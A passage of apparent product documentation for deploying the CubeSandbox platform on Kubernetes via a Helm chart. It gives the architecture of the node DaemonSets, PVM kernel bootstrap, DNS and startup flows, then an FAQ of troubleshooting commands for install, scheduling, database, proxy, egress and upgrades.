`cube-pvm-host-bootstrap` image. All four compute lines (Big Pod / installer / bootstrap / PVM) are native `apps/v1` DaemonSets. Stateless control plane (master/api/ops/webui/proxy/lifecycle/cubemastercli) uses native Deployments; MySQL/Redis/MinIO continue to use native StatefulSets. #### Big Pod: `cube-node` * `hostNetwork: true` (host network by default; `cubeNode.hostNetwork: false` opts into the Pod network); native `apps/v1` DaemonSet. * **initContainer**: `wait-node-prep` (**exits 0** when the fingerprint matches; not a long-running sidecar). * Image / resource / Pod template changes **recreate** the Big Pod. Sandbox tap devices and cubevs hooks live in the Pod netns: on the host network they survive that, on the Pod network they do not. See [Upgrade](./upgrade.md). * **NodeID** = `spec.nodeName`; **Endpoint** = `status.podIP` (the node IP on the host network). * toolbox **whole tree** hostPath: `/usr/local/services/cubetoolbox`. | Container | Image | Responsibility | | --- | --- | --- | | `wait-node-prep` (init) | `images.waitNodePrep` | Read-only hostPath `node-prep-ready` self-describing fingerprint; exits when matched so run containers can start | | `cubelet` | `images.cubelet` | Starts after self-stage; includes embedded network runtime and CubeVS tools | | `cube-egress` / `cube-egress-net` | matching images | Optional; transparent egress / TPROXY | | `cube-s3lvol` | `images.cubeS3lvol` | Optional; SPDK NVMe/TCP target for S3 CoW / cross-node snapshots | **Container names / volumeMount / securityContext / imagePullPolicy changes also recreate**. #### Installer: `cube-node-installer` * Containers: `cube-shim-install` / `cube-kernel-install` / `cube-guest-install`. * Replaces whole directories of shim / kernel / guest from the image into the host toolbox; during directory swap the version matrix is briefly marked incomplete, then restored on success. * Can RollingUpdate independently; for day-to-day artifact upgrades **only bump Installer images**. #### Bootstrap: `cube-node-bootstrap` * init: `wait-pvm-host` → `cube-node-init`; main container writes `node-prep-ready`. * `wait-pvm-host`: checks whether the node has `allow-pvm-bootstrap`—if yes, waits for PVM host ready and records “this node uses PVM guest”; if not, records “this node uses bm guest”. * Sentinel directory: `/var/lib/cube-node-bootstrap` (shared with Big Pod `wait-node-prep` / PVM DS). * `hostPID: true` (`nsenter --target 1`); low-frequency changes; for node-init upgrades **only bump Bootstrap / nodeInit images**. #### PVM: `cube-node-pvm` * Native `apps/v1` DaemonSet; created only when `bootstrap.pvmHostKernel.enabled=true`; scheduled only to `placement.pvm`. * `startupGate` is on by default: when the target node fingerprint is not ready, a Helm pre-install/pre-upgrade Hook writes `cube.tencent.com/pvm-not-ready=true:NoSchedule`, then probes CNI node by node; if the fingerprint already matches, that taint is not written. * Before install/upgrade there is also a cubevs CIDR Hook (weight `-110`): if `cubeNode.network.cidr` (default `172.16.0.0/18`) overlaps the cluster Service CIDR / ClusterIP, fail-fast. * init: `pvm-host-bootstrap`; mutate strictly follows ensure taint → delete dependent Pods in this namespace/this release/this node → invalidate → Lease → mutate/reboot. * Success path: write ready → verify live fingerprint → clear taint; main container reconciles split state every 30 seconds. * Only the PVM DaemonSet tolerates the temporary gate. CNI and kube-proxy must tolerate the gate with `Exists` or an explicit key. PVM stays on Pod network. * For PVM image upgrades **only bump `images.pvmHostBootstrap`**; do not recreate the Big Pod. Why four pieces: separate artifact install from rebootable PVM bootstrap; non-PVM compute nodes do not pull the large PVM image; Installer / Bootstrap / PVM bumps can leave the Big Pod template untouched. ### 2.3.1 Markers you will see on the node | Marker | Meaning | | --- | --- | | `pvm-host-ready` | Host PVM kernel is installed as expected; content includes a fingerprint that must match current `uname` after kernel swap to count as ready | | `effective-pvm` | Whether this node’s guest should use PVM (`1`) or bm (`0`); with `allow-pvm-bootstrap` and host ready → `1`, otherwise → `0` | | `node-prep-ready` | Bootstrap preflight passed; Big Pod may start | | `/run/wait-node-prep.ready` | Per-Pod temporary marker for this round; gone on restart | | “component ready” markers under toolbox | That component staged successfully; artifacts can be collected into the version matrix | | “component replacing” markers under toolbox | Directory swap in progress; matrix marked incomplete; cleared on success, left until next success on failure | Guest kernel selection: first check `effective-pvm`; if missing, try to keep the kernel already in use on the node; only then fall back to the Chart’s first-install default (`cubeNode.pvmGuestKernel.enabled`). ### 2.4 Data-plane entry | Resource | Chart template | Responsibility | | --- | --- | --- | | `cube-proxy` | `templates/proxy.yaml` | sandbox HTTP/HTTPS; `placement.controlPlane`; Pod network | | `cube-lifecycle-manager` | `templates/lifecycle-manager.yaml` | pause/resume; Proxy discovers replicas via Redis | | `cube-proxy-certs` | `proxy.yaml` | TLS: selfSigned / inline / existingSecret / certManager | | Service / Ingress | `proxy-service.yaml` / `proxy-ingress.yaml` | ClusterIP; Ingress SSL passthrough, TLS terminated at Proxy | | cluster DNS | `templates/cluster-dns.yaml` | When enabled, rewrite `*.cubeProxy.domain` to the Proxy Service | CubeProxy forwards to the target compute-node sandbox via owner metadata in Redis. ### 2.5 cube-lifecycle-manager HA The chart defaults to `lifecycleManager.replicas=2` with `leaderElection.enabled=true`, running active-standby: every replica consumes lifecycle events and serves resume callbacks, while a Redis lease elects one leader to run the idle sweep/kill and stale-registry pruning. Only the leader writes shared sandbox state. Setting `replicas` above 1 with leader election disabled fails Helm validation. Terraform one-click defaults to the same two-replica active-standby layout. On leader failover the new leader recovers shared state conservatively: where the state records disagree, it records the safe answer, `paused`, and the sandbox auto-resumes on its next request. See the [FAQ](faq.md) for the user-visible effect. ## 3. DNS The Chart **does not** deploy its own CoreDNS. When Proxy is enabled and `configureClusterDNS=true` (default): * A Helm hook rewrites `domain` / `*.domain` to `-proxy..svc.cluster.local`. * `cubeNode.dns.sandbox.followNodeDns=true`: guest follows node/cluster DNS. ```mermaid sequenceDiagram participant Guest as sandbox guest participant CN as cube-node Pod participant KDNS as cluster CoreDNS participant PX as cube-proxy Pod CN->>KDNS: ClusterFirst Guest->>KDNS: followNodeDns KDNS-->>Guest: *.cube.app → CubeProxy Service Guest->>PX: HTTP/HTTPS ``` * Domain: `cubeProxy.domain` (default `cube.app`). * If the platform forbids changing `kube-system/coredns`, set `cubeProxy.configureClusterDNS=false`. * External clients still need their own public/Private DNS or LB. ## 4. Install and startup ### 4.1 Helm render ```mermaid flowchart TD A["helm upgrade/install"] --> B["templates/validate.yaml"] B --> C{"values valid?"} C -- no --> X["fail render"] C -- yes --> D["Secret / ConfigMap / persistence"] D --> E["MySQL / Redis / MinIO or external"] E --> F["Control-plane Deployment"] F --> G["Proxy / cluster-dns"] G --> H["cube-node + installer + bootstrap + pvm"] ``` Main validations: * When enabling control plane / compute / Proxy, the matching `placement.*.nodeSelector` must be set. * `configureClusterDNS=true` requires `cubeProxy.domain`. * compute-only requires `externalControlPlane.masterEndpoint`. * When `pvmHostKernel.enabled=true`, `placement.pvm` must include `allow-pvm-bootstrap`, and it **must not** be written under `placement.compute`. * `security.hostNetwork` has been removed; cube-node's mode is `cubeNode.hostNetwork` (default true = host network). Scheduling: control plane uses `placement.controlPlane`; `cube-node` / installer / bootstrap use `placement.compute`; `cube-node-pvm` uses `placement.pvm`. Chart-managed containers get `TZ` injected via `global.timezone` (default `Asia/Shanghai`). ### 4.2 Control-plane startup ```mermaid sequenceDiagram participant H as Helm participant DB as MySQL participant R as Redis participant CM as CubeMaster participant API as CubeAPI participant OPS as CubeOps participant WEB as WebUI participant CLI as cubemastercli H->>DB: create/use MySQL H->>R: create/use Redis H->>CM: conf.yaml + storage + CA CM->>DB: embedded migration CM-->>H: /notify/health H->>API: CUBE_MASTER_ENDPOINT + MySQL API-->>H: /health H->>OPS: CUBE_MASTER_ADDR + MySQL OPS-->>H: /health H->>WEB: nginx → CubeOps H->>CLI: CUBEMASTERCLI_ADDRESS / PORT ``` No separate `cube-db-migrate` Job; `cubemastercli` is not mixed into master/node images. ### 4.3 Compute-node startup ```mermaid sequenceDiagram participant PVM as cube-node-pvm participant Boot as cube-node-bootstrap participant Inst as cube-node-installer participant Wait as wait-node-prep participant CN as cube-node participant CM as CubeMaster alt allow-pvm-bootstrap node PVM->>PVM: pvm-host-bootstrap may reboot Note over PVM: delete various ready markers before mutate PVM->>PVM: write pvm-host-ready fingerprint end Boot->>Boot: wait-pvm-host label + fingerprint gate opt nodeInit.enabled Boot->>Boot: cube-node-init end Boot->>Boot: write node-prep-ready Inst->>Inst: stage shim/kernel/guest Wait->>Wait: poll fingerprint → exit 0 Wait-->>CN: init done; run containers start CN->>CN: self-stage; pick guest kernel by node PVM CN->>CM: register + heartbeat ``` Probe conventions: * cubelet: startup waits on 9999; readiness defaults to exec (9999 + Cubelet local socket); liveness checks 9999. * After network-agent was embedded into Cubelet, node readiness / `NotReady` no longer probes a standalone network daemon. Runtime network degradation (for example TAP pool exhaustion or sustained CubeEgress push failures) is surfaced on create/release paths and local diagnostics instead of flipping the node to NotReady. Monitor create failure rates, TAP pool state (`cubecli container taps` / loopback `GET /v1/network/taps`), and CubeEgress health rather than relying on node Ready alone. * `cube-egress`: `127.0.0.1:9091/admin/v1/health` (default; `cubeEgress.adminPort`). * `cube-egress-net`: `cube-dev`, ip rule, table 100, mangle `TRANSPROXY`. * `cube-s3lvol` (when enabled): startup and readiness probe the Unix socket `/var/run/s3lvol/s3lvol.sock` plus a light `s3lvol_rpc.py` RPC. There is no liveness probe — the entrypoint exits when the target dies so kubelet restarts the container. ### 4.4 Registration and acceptance checkpoints * CubeMaster `/notify/health`, CubeOps `/health`, CubeAPI `/health` (if enabled). * CubeAPI (or via CubeOps SDK) can see healthy nodes. * `cube-node` / installer / bootstrap ready counts equal the number of nodes matching `placement.compute`; `cube-node-pvm` ready count equals nodes matching `placement.pvm`. * When egress is enabled, sidecars are Ready. ## 5. Runtime data flows ### 5.1 WebUI / CubeOps / CubeAPI / Master ```mermaid flowchart LR U["Browser / Operator"] --> WEB["cube-webui"] WEB -->|"/opsapi/ /cubeapi/v1/"| OPS["cube-ops"] Ext["External E2B SDK"] --> API["cube-api"] OPS --> CM["cube-master"] OPS --> MYSQL[("MySQL")] API --> CM API --> MYSQL CM --> MYSQL CM --> REDIS[("Redis")] ``` ### 5.2 Sandbox entry ```mermaid flowchart LR CLIENT["Client"] --> DNS["DNS · cube.app"] DNS --> PROXY["cube-proxy"] PROXY --> REDIS[("Redis")] PROXY --> CM["CubeMaster"] PROXY --> NODE["Cube Node / Sandbox"] ``` Without an Ingress Controller you can disable `cubeProxy.ingress.enabled` and wire external traffic to the Service yourself. Production should provide real certificates and point the sandbox domain at Ingress. ### 5.3 Outbound egress ```mermaid flowchart LR SB["Sandbox"] --> DEV["cube-dev"] DEV --> EGNET["cube-egress-net"] EGNET --> EG["cube-egress"] EG --> EXT["External"] EG --> CA["cube-egress-ca"] ``` Master / API / Node share `cube-egress-ca` so template builds and runtime trust stay consistent. ### 5.4 Template build CubeMaster builds templates in-process via go-containerregistry (download + rootfs export). No Docker-in-Docker sidecar is required; artifacts are written to Master storage. ## 6. compute-only / external control plane ```mermaid flowchart TB subgraph EXT["External Control Plane"] ECM["External CubeMaster"] EDB[("MySQL / Redis")] end subgraph NS["Compute Namespace"] NODE["cube-node + installer + bootstrap"] end NODE --> ECM ECM --> EDB ``` ```yaml controlPlane: enabled: false externalControlPlane: enabled: true masterEndpoint: :8089 apiEndpoint: http://:3000 # optional, for helm test ``` Does not install built-in Master / API / MySQL / Redis / MinIO / WebUI; by default does not install Proxy (to avoid inconsistency with an external data plane). When `apiEndpoint` is set, helm test validates the external API and node registration. ## 7. Key values toggles | values path | Default | Effect | | --- | --- | --- | | `global.timezone` | `Asia/Shanghai` | Injects `TZ` into Chart-managed containers | | `storageClass.create` / `name` / `provisioner` | `create=false` | Whether the chart creates a StorageClass; default is no (PVCs use cluster default SC; TKE uses `values-tke.yaml`) | | `persistence.storageClassName` | `""` | Shared SC for the four PVCs; `""` → cluster default | | `*.persistence.storageClassName` (master/mysql/redis/minio) | `""` | Per-component override; non-empty wins over top-level | | `controlPlane.enabled` | `true` | Built-in control plane | | `externalControlPlane.enabled` | `false` | External CubeMaster | | `placement.controlPlane.nodeSelector` | `cube-control=true` | Control-plane scheduling | | `placement.compute.nodeSelector` | `cube-node=true` | Compute (without allow-pvm) | | `placement.pvm.nodeSelector` | also includes `allow-pvm-bootstrap=true` | PVM host DaemonSet only | | `cubeProxy.domain` | `cube.app` | sandbox domain | | `cubeProxy.configureClusterDNS` | `true` | Whether to write cluster CoreDNS | | `cubeNode.dns.sandbox.followNodeDns` | `true` | guest follows node DNS | | `cubeNode.pvmGuestKernel.enabled` | `true` | Whether first-install default prefers PVM guest | | `cubeNode.hostNetwork` | `true` | Host network; on the Pod network a Pod recreate breaks every sandbox's networking on the node | | `cubeNode.hostNetworkChangeAck` | `false` | One-time acknowledgement for the network-mode preflight Hook | | `bootstrap.pvmHostKernel.enabled` | `true` | host kernel bootstrap (may reboot nodes) | | `bootstrap.pvmHostKernel.startupGate.enabled` | `true` | Hard NoSchedule node taint gate when PVM is not ready | | `bootstrap.pvmHostKernel.bootArgs` | `nopti pti=off` | Current `kvm_pvm` does not support host KPTI | | `bootstrap.nodeInit.*` | several | Preflight, XFS, KVM, CIDR | | `mysql.host` / `redis.host` | `""` | Non-empty → use third-party | | `volumeS3.endpoint` / `existingSecret` | `""` | S3 config source: auto-filled from the built-in MinIO when both are empty and `minio.enabled=true`; setting either explicitly requires `minio.enabled=false` (pick one, mutually exclusive) | | `cubeProxy.enabled` / `ingress.enabled` | `true` | Proxy / Ingress | | `lifecycleManager.enabled` | `true` | Required when Proxy is enabled | | `cubeEgress.enabled` | `true` | Big Pod egress sidecar | | `cubeS3lvol.enabled` | `false` | Big Pod s3lvol sidecar (recreates the Pod; ~2 CPU / 19 GiB / 512 GiB sparse WAL, including the default 1 GiB RAM cache) | | `cubeOps.enabled` | `true` | CubeOps (JWT ops API; WebUI upstream) | | `webui.enabled` | `true` | WebUI (requires `cubeOps.enabled=true`) | ## 8. Helm test | Test Pod | Coverage | | --- | --- | | `-health-test` | Master / Ops / API / node registration / WebUI / Proxy / workload Ready / Egress presence / s3lvol presence when enabled | | `-mysql-test` / `redis-test` | Built-in dependency connectivity | | `-dns-test` | `cube.app` / wildcard → Proxy Service | | `-node-image-test` | Runtime tools and assets inside the image | | `-node-runtime-test` | `/dev/kvm`, cubelet socket, embedded network runtime | ```bash helm test -n --timeout 20m --logs ``` ## 9. Ownership and uninstall boundaries The Chart manages and removes with the release: control- and compute-plane workloads, built-in MySQL/Redis/MinIO, Proxy, CA/TLS/config Secrets, Helm test RBAC, diagnostics ConfigMap, etc. The Chart **does not** manage: node labels/taints, third-party DBs, external DNS/LB, hostPath data, host kernel / GRUB / udev / fstab / XFS and other node-level persistent changes. After uninstall, clean host leftovers per platform runbook. *** ## Next steps * [Helm Install](./install.md) * [Upgrade](./upgrade.md) * [FAQ](./faq.md) * [Product Architecture Overview](../../architecture/overview.md) --- --- url: https://cubesandbox.com/guide/kubernetes/faq.md --- # FAQ Common issues when deploying and running the Helm Chart, grouped by topic. Check this section first; if still stuck, see [Helm Install](./install.md), [Architecture](./architecture.md), and [Upgrade](./upgrade.md). When filing an Issue, include the [question template](#question-template) at the end. ::: tip Resource names in commands Examples below assume Release name `cube` and namespace `cube-system` (resource names like `cube-master`, `cube-secret`). If your Release name differs, substitute `-…`, or use `app.kubernetes.io/component=…` label selectors (independent of Release name). ::: ## Contents * [Install and validation](#install-and-validation) * [Nodes and scheduling](#nodes-and-scheduling) * [Control plane / database](#control-plane--database) * [Compute / PVM / sandbox](#compute--pvm--sandbox) * [CubeProxy / TLS / DNS](#cubeproxy--tls--dns) * [Egress networking](#egress-networking) * [Upgrade, rollback, and uninstall](#upgrade-rollback-and-uninstall) * [Image builds](#image-builds) *** ## Install and validation ### `helm install` errors saying you must configure `placement.*.nodeSelector` The Chart uses `templates/validate.yaml` to forbid “wildcard” deploys that could harm nodes. Add an explicit nodeSelector, for example: ```yaml placement: controlPlane: nodeSelector: cube.tencent.com/cube-control: "true" ``` Related validations: | Error keyword | Meaning | | --- | --- | | `cube-node requires placement.compute.nodeSelector` | Compute nodes must be specified explicitly | | `…placement.pvm… allow-pvm-bootstrap` | The PVM DaemonSet selector must include this label; do not put it under `placement.compute` | | `placement.compute… must not include …allow-pvm-bootstrap` | Putting it under compute makes every compute node pull the large PVM image | | `cubeProxy.enabled=true requires placement.controlPlane.nodeSelector` | Proxy runs on control-plane nodes | | `configureClusterDNS=true requires cubeProxy.domain` | Injecting cluster DNS requires a sandbox domain | How to label nodes: [Helm Install · Label nodes](./install.md#3-label-nodes-and-roles). ### Compute DaemonSet Ready count is short First check the four native DaemonSets: ```bash kubectl -n cube-system get daemonset \ -l 'app.kubernetes.io/component in (cube-node,cube-node-installer,cube-node-bootstrap,cube-node-pvm)' ``` | Symptom | Action | | --- | --- | | `DESIRED=0` | No nodes match `placement.compute` → add `cube-node=true` label | | `CURRENT < DESIRED` | Blocked by taints → check `compute` taint and tolerations | | `READY < CURRENT` | Pod is up but not Ready → for Big Pod, check `wait-node-prep` and bootstrap first; see [Compute](#compute--pvm--sandbox) | ### CubeAPI `/health` fails in `helm test` Usually CubeAPI is not Ready yet, or MySQL / migration has not finished: ```bash kubectl -n cube-system logs -l app.kubernetes.io/component=api --tail=200 kubectl -n cube-system logs -l app.kubernetes.io/component=master -c cube-master --tail=200 ``` * CubeMaster embeds schema migration; first run may take a few minutes; use `--timeout 90m` at install * If logs show MySQL connection refused → see [Control plane / database](#control-plane--database) ### `helm test` hangs with neither timeout nor result Only Helm **3.13+** makes `--timeout` apply to test hooks. Add `--logs`: ```bash helm test cube -n cube-system --logs --timeout 20m ``` Inspect failed test Pods individually: ```bash kubectl -n cube-system get pods -l app.kubernetes.io/component=test kubectl -n cube-system logs ``` *** ## Nodes and scheduling ### Can I apply fewer labels? Not recommended. The Chart uses explicit label authorization because: * `pvm-host-bootstrap` swaps the host kernel and may reboot * The compute plane is privileged / hostPath; mis-scheduling is costly In production, manage labels uniformly with GitOps / Terraform. ### Can a control-plane node also be a compute node? Technically yes (single-node trial); not recommended in production — resource contention and upgrade strategies differ. When co-locating: 1. Apply two independent labels on the same node: `cube-control=true` and `cube-node=true` (do not overwrite with a single key) 2. Layer `values-single-node.yaml` so both control and compute tolerate both role taints 3. Add `allow-pvm-bootstrap=true` when PVM is needed When scaling pure compute nodes, only apply `cube-node` + the `compute` taint — **do not** apply `cube-control`. Steps: [Helm Install · Single-node](./install.md#42-single-node-trial-one-machine-is-both-control-and-compute). ### PVC / PV stays Pending ```bash kubectl get sc kubectl get pvc -n cube-system kubectl describe pvc -n cube-system kubectl -n cube-system describe pod ``` **Generic clusters (no SC created by default):** * No default StorageClass → set `persistence.storageClassName`, or switch to hostPath (see [Install · Prepare values](./install.md#5-prepare-the-values-file)) * Specified SC / CSI does not exist → install the provisioner first * SC is `WaitForFirstConsumer`, but the Pod cannot schedule due to selector / taint → make the Pod schedulable first **TKE + `values-tke.yaml`:** CBS disks are created after the Pod is placed; common causes are insufficient node resources, or nodeSelector vs CBS availability zone mismatch. ### Temporarily taking one compute node out for maintenance Destroy sandboxes on the node first, then: ```bash kubectl drain --ignore-daemonsets --delete-emptydir-data=false # After maintenance kubectl uncordon ``` `cube-node` will come back and re-register once the node is schedulable again. *** ## Control plane / database ### After CLM failover a sandbox pauses or resumes once more This is expected, and it happens once — not in a loop. When a new leader takes over (a replica failure, or the leader switch during a rolling upgrade), it re-checks each sandbox's state; where the records disagree it records the safe answer, `paused`. This is bookkeeping only — no pause is sent to the VM — and the next request auto-resumes the sandbox as usual. The cost is one extra auto-resume; the alternative, recording `running` for a sandbox that is actually stopped, would route traffic to a stopped VM. ### cube-master cannot connect to MySQL Check in order (commands below assume Release `cube`, namespace `cube-system`; for other Release names, replace the resource name prefix with ``): 1. Is built-in MySQL Running: `kubectl -n cube-system get pods -l app.kubernetes.io/component=mysql` 2. Was the Secret password changed by mistake: `kubectl -n cube-system get secret cube-secret` 3. Connectivity from inside the container: ```bash kubectl -n cube-system exec cube-mysql-0 -- mysql -uroot \ -p"$(kubectl -n cube-system get secret cube-secret -o jsonpath='{.data.mysql-root-password}' | base64 -d)" \ -e 'show databases' ``` External MySQL (probe from the **CubeAPI** Pod; env vars are `CUBE_SANDBOX_MYSQL_*`, not `CUBE_MYSQL_HOST`): ```bash kubectl -n cube-system exec -l app.kubernetes.io/component=api -- \ sh -c 'nc -zv "$CUBE_SANDBOX_MYSQL_HOST" "$CUBE_SANDBOX_MYSQL_PORT"' ``` On the CubeMaster side, the MySQL address is in the mounted `conf.yaml` (Chart-rendered), not injected via the env vars above. ### Schema not fully migrated after upgrade / migration stuck CubeMaster runs embedded goose migration at startup. Check logs: ```bash kubectl -n cube-system logs -l app.kubernetes.io/component=master -c cube-master | grep -i migrat ``` You can also connect to the DB and inspect `goose_db_version`. If a previous abnormal exit left a stuck lock, handle it manually per DB state (operate carefully). ### External MySQL 8 `caching_sha2_password` auth failure The Chart no longer forces `mysql_native_password`. CubeMaster / CubeAPI drivers support `caching_sha2_password`. If the user still uses the old plugin: ```sql ALTER USER 'cube_user'@'%' IDENTIFIED WITH caching_sha2_password BY ''; FLUSH PRIVILEGES; ``` ### How do I use cubemastercli? ```bash # Interactive shell (bashrc in the image auto-fills --address / --port) kubectl -n cube-system exec -it -l app.kubernetes.io/component=cubemastercli -- bash cubeopscli node list cubemastercli sandbox list ``` Or one-liner (same as Chart `NOTES.txt`): ```bash kubectl -n cube-system exec deploy/cube-cubemastercli -- \ sh -lc 'cubeopscli --address "$CUBEOPSCLI_ADDRESS" --port "$CUBEOPSCLI_PORT" node list' ``` *** ## Compute / PVM / sandbox ### `pvm-host-bootstrap` keeps restarting / node reboots Runs on **`cube-node-pvm`** (only nodes with `allow-pvm-bootstrap`). Most “repeated restarts” are actually normal reboots after kernel swap. Check logs first: ```bash kubectl -n cube-system logs -l app.kubernetes.io/component=cube-node-pvm -c pvm-host-bootstrap --tail=100 kubectl -n cube-system logs -l app.kubernetes.io/component=cube-node-bootstrap -c wait-pvm-host --tail=50 kubectl -n cube-system logs -l app.kubernetes.io/component=cube-node -c wait-node-prep --tail=50 ``` Normal path (summary): ensure `pvm-not-ready` → drain dependent Pods → invalidate ready markers → kernel swap / reboot → write `pvm-host-ready` and clear the gate → bootstrap writes `node-prep-ready` → Big Pod `wait-node-prep` init exits → run containers start. Full details: [Architecture · PVM](./architecture.md#pvmcube-node-pvm). If stuck on wait-node-prep: first confirm bootstrap is Ready and the `/var/lib/cube-node-bootstrap/node-prep-ready` fingerprint. If the node never reboots after kernel swap, it usually lacks reboot permission or GRUB was not updated — log into the node, `reboot` manually, and check: ```bash uname -r # Should contain cubesandbox.pvm.host (matches Chart default DESIRED_KERNEL_PATTERN) cat /proc/cmdline | grep -o pti=off ``` ### `cube-node-init` reports `/dev/kvm` unavailable ```bash kubectl debug node/ -it --image=busybox -- sh ls -la /dev/kvm lsmod | grep kvm ``` Cloud VMs need PVM installed; physical machines need VT-x / AMD-V enabled. ### cube-node is Ready, but no sandboxes / node not registered ```bash kubectl -n cube-system exec -l app.kubernetes.io/component=cubemastercli -- \ sh -lc 'cubeopscli --address "$CUBEOPSCLI_ADDRESS" --port "$CUBEOPSCLI_PORT" node list' ``` * `healthy: true` → you can create sandboxes * Not in the list → check registration logs: ```bash kubectl -n cube-system logs -l app.kubernetes.io/component=cube-node -c cubelet --tail=200 | grep -i register ``` A common cause is inability to reach CubeMaster (network / DNS). ### All sandboxes on one node lost network at the same time Most likely the `cube-node` Pod on that node was recreated (manual deletion, DaemonSet template change, node drain) while running on the Pod network: sandbox TAP devices live in the Pod's netns there, so recreation destroys it and **all sandbox networking on the node breaks — inbound and outbound — and does not self-heal**. On the default host network the netns is the host's and survives recreation, so this symptom there points somewhere else. Confirm by comparing Pod age / UID with the incident time: ```bash kubectl get pods -n cube-system -l app.kubernetes.io/component=cube-node -o wide ``` * **Recovery**: destroy and recreate the affected sandboxes. * **Prevention**: keep `cube-node` on the default host network (`cubeNode.hostNetwork: true`), where Pod recreation does not change the netns; see [Install · cube-node networking and Pod recreation](./install.md#_8-3-cube-node-networking-and-pod-recreation). If you run on the Pod network because NetworkPolicy must govern sandbox traffic, the same section covers that trade-off. ### How do I run `cubecli` in a Kubernetes deployment? `cubecli` accesses the local Cubelet and containerd sockets of a single compute node. First find the `cube-node` Pod corresponding to the target node, then use `kubectl exec` to run commands inside that Pod: ```bash # List the node assigned to each cube-node Pod and find the Pod for the target node kubectl get pods -n cube-system \ -l app.kubernetes.io/component=cube-node -o wide # Run cubecli in the cube-node Pod for the target node kubectl exec -n cube-system -- cubecli ls ``` By default, `kubectl exec` enters the `cubelet` container in that `cube-node` Pod, which is the supported place to run `cubecli` in a Kubernetes deployment. For network-device diagnostics such as `cubecli container taps`, note which netns the TAP devices live in: with the default `hostNetwork: true` they are created in the host network namespace, so a host login shell and the `cube-node` Pod see the same devices. On the Pod network (`cubeNode.hostNetwork: false`) they live in the `cube-node` Pod's network namespace, and a host login shell cannot provide the same view — run the command inside the Pod there. ### Sandbox start is slow (>10s) while the node is mostly idle * Check whether the node's CPU load is high. * Check whether `/data/cubelet` is full or IOPS-bound: `iostat -x 1` * Many Paused sandboxes occupying disk without cleanup ### Rough limits on sandboxes per node? 1. **Memory**: roughly hundreds of MB to several GB per sandbox 2. **Disk**: CoW rootfs; depends on `/data/cubelet` capacity (default loopback is only **25G**; see [Install · Compute node data disk](./install.md#_8-2-compute-node-data-disk-configuration)) 3. **KVM count**: typically at most hundreds per machine, subject to kernel parameters `Pause` can drive inactive sandbox CPU/RSS near 0 (disk is not released). Operationally: Pause after N minutes idle, Destroy after longer. ### `/data/cubelet` out of space / want to change data disk size Default `bootstrap.nodeInit.dataCubelet.loopback.size` is `25G`; on first run bootstrap creates `/data/cubelet-xfs.img` and mounts it at `/data/cubelet`. * **Not yet installed / image file does not exist**: change `size` in values (e.g. `200G`) and reinstall or re-run bootstrap. * **Image already created**: changing values again **does not** auto-expand. In production, prefer disabling loopback and using a pre-mounted large XFS disk; if you must rebuild loopback, delete the old img in a maintenance window (this clears data at that path). Config examples: [Helm Install · Compute node data disk](./install.md#_8-2-compute-node-data-disk-configuration). ### How do I disable PVM on a node? **Remove that node’s label**: ```bash kubectl label node cube.tencent.com/allow-pvm-bootstrap- ``` Then reboot the node's host machine. Self-check the current guest: ```bash readlink /usr/local/services/cubetoolbox/cube-kernel-scf/vmlinux # or readlink /var/lib/cube-node-bootstrap/vmlinux-active ``` *** ## CubeProxy / TLS / DNS ### Sandbox domain does not resolve 1. **In-cluster** (including guests that follow node DNS): `nslookup test.cube.app` * No answer → check whether CoreDNS contains `# BEGIN cube-sandbox-dns` (followed by the Release name), or Job logs: `kubectl -n cube-system logs job/cube-cluster-dns-apply` * Answer should be the CubeProxy ClusterIP: `kubectl -n cube-system get svc cube-proxy -o wide` 2. **Guest DNS**: default `cubeNode.dns.sandbox.followNodeDns=true`; you can set `cubeNode.dns.sandbox.nameservers` explicitly 3. **Outside the cluster**: point `cube.app` / `*.cube.app` at Ingress / LB ### Ingress / external entry does not work Check: * Whether IngressClass / Ingress exists * Whether passthrough annotations match your Controller (defaults assume nginx-ingress) * TKE: `values-tke.yaml` disables Ingress by default and uses LoadBalancer (CLB); point DNS at EXTERNAL-IP * No Ingress: set `cubeProxy.ingress.enabled=false` and wire to the Service yourself ### selfSigned certificate browser warnings Expected for trials. For production use: ```yaml cubeProxy: tls: mode: existingSecret # or certManager existingSecret: my-cube-tls ``` ### Changing `cubeProxy.advertiseIP` seems to have no effect In the Chart, `cubeProxy.advertiseIP` is only a **human-readable hint field** (`values.yaml` comments call it an optional hint). It is **not** written into Proxy / DNS / Service templates; changing it and restarting Proxy does not change cluster behavior. What you actually need to change: * The address that external DNS / LB points to * Or `cubeProxy.service` / Ingress-related settings If you only want to roll Proxy replicas: ```bash kubectl -n cube-system rollout restart deploy/cube-proxy ``` *** ## Egress networking ### Sandbox cannot reach the internet * Log into the `cube-node` pod and check whether external connectivity works. * Inspect the sandbox network policy. ### TLS errors after outbound MITM Trust the egress CA distributed by the Chart: ```bash kubectl -n cube-system get secret cube-egress-ca \ -o jsonpath='{.data.cube-root-ca\.crt}' | base64 -d > cube-ca.crt # Inject into the template / guest trust store, e.g. /etc/ssl/certs/ ``` (Secret name defaults to `-egress-ca`; certificate key defaults to `cube-root-ca.crt`, not `ca.crt`.) Or use `cubeEgress.ca.mode: existingSecret` to reuse an enterprise CA. ### `cube-egress-net` CrashLoopBackOff It depends on `cube-dev` created by the main containers: ```bash kubectl -n cube-system logs -c cube-egress-net --tail=100 ``` * Log shows `interface cube-dev not present` → **cubelet** has not created `cube-dev` yet; usually self-heals; if longer than ~5 minutes, check cubelet logs * Repeated `rule reapply failed` → iptables too old (needs nft) or conflict with CNI rules *** ## Upgrade, rollback, and uninstall ### Will `helm upgrade` interrupt existing sandboxes? Will Pod IP change? **Bumping Big Pod runtime images / changing the Pod template recreates the Pod (the UID changes).** What that costs the sandboxes depends on the network mode: on the Pod network the netns is destroyed and existing sandboxes on the node lose networking; on the default host network the netns survives — see [Install · cube-node networking and Pod recreation](./install.md#_8-3-cube-node-networking-and-pod-recreation). Plan a maintenance window either way until in-place replacement lands. Bumping only Installer / Bootstrap / PVM while leaving the Big Pod template untouched can leave the Big Pod unchanged. Steps and red lines: [Upgrade](./upgrade.md). Typical Big Pod recreate triggers: bump `images.cubelet` and other runtime images, add/remove containers, change volumeMount / securityContext / container name / env. This release changes the default no-`-c` `kubectl exec` and `kubectl logs` target for `cube-node` Pods from `network-agent` to `cubelet`; use `cubeNode.podAnnotations` to set an explicit default if your operational workflow needs another container. ### Does `helm rollback` roll back the host kernel? **No.** Helm only manages K8s objects. Kernel / GRUB / fstab / XFS etc. need a separate host rollback runbook. ### Data remains on nodes after `helm uninstall` By design. Uninstall only deletes Chart-managed objects. Common leftovers on compute nodes: ```bash sudo rm -rf /data/cubelet /data/cube-shim /data/cube-shared /data/snapshot_pack 